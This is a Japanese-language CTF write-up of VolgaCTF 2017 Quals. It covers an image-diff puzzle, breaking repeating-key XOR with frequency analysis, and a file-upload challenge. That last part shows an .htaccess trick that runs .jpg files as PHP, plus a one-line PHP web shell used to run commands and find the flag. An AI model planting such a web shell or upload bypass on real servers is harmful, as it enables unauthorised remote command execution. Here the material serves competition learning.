VolgaCTF 2017 Quals write up
shpxというチームを組ませていただいてから初めてのCTF。
700点を取り、117位という結果で終わりました。
個人では150+50+200(共同)点。全体的に全然わからなかったので精進が必要です。
Write up
VC
A.pngとB.pngを重ねたら文字が見えたのでそれを読むだけでした。
自分はこれを頑張って読みましたが、そのあとにチームの方がいい解法を教えてくれました。
composite -compose difference A.png B.png diff.png
PyCrypto
実験してみると
flag:'AAAAAA',key:'ABCD' => '\x00\x03\x02\x05\x00\x03'
と暗号化されたので鍵をぐるぐる使いまわしている、flagとkeyをxorしていると予測しました。
これでxorかどうか確認できます。
#!/usr/bin/env python3 from struct import pack, unpack from pycryptography import encrypt if __name__ == '__main__': for x in range(256): for y in range(256): if x^y != unpack('B',encrypt(pack('B',x),pack('B',y)))[0]: print("No") exit(0) print("Yes")
20bytesごとに同じ鍵が使われているので頻度をみて鍵を予測すればよさそうです。
英文はスペースの頻度が高いため、頻度が高いものをスペースと仮定して鍵を決めました。
#!/usr/bin/env python3 import string from collections import Counter if __name__ == '__main__': with open('flag.enc', 'rb') as fe: enc = fe.read() ans = [" "] * len(enc) for i in range(20): counter = Counter(enc[i::20]) for m,_ in counter.most_common(): key = m ^ 0x20 ok = True for j in range(i,len(enc),20): m = enc[j]^key if chr(m) in string.printable: ans[j] = chr(m) else: ok = False if ok: break print(''.join(ans))
Share Point
phpファイルなどはアップロードできません。画像はアップロードできるので画像からコードを実行できるようにすればよさそうです。
.htaccessに
AddType application/x-httpd-php .jpg
と書いてアップロードすればjpgをphpとして実行できます。
あとはパラメータの値を実行するスクリプトを書いてcmd.jpgとしてアップロード。
<?php echo "<pre>"; system($_GET['cmd']); echo "</pre>"; ?>
こんな感じでコマンドが実行できます。
コマンドを実行できるようになりましたが、フラグを見つけることができませんでした…のでここからはチームの方にやっていただきました。
cmd.jpg?cmd=find%20/%20-name%20*flag*
でflagの文字を含むファイルが列挙できるようです。
/opt/flag.txtにありました。
Share機能はなんだったんだろう…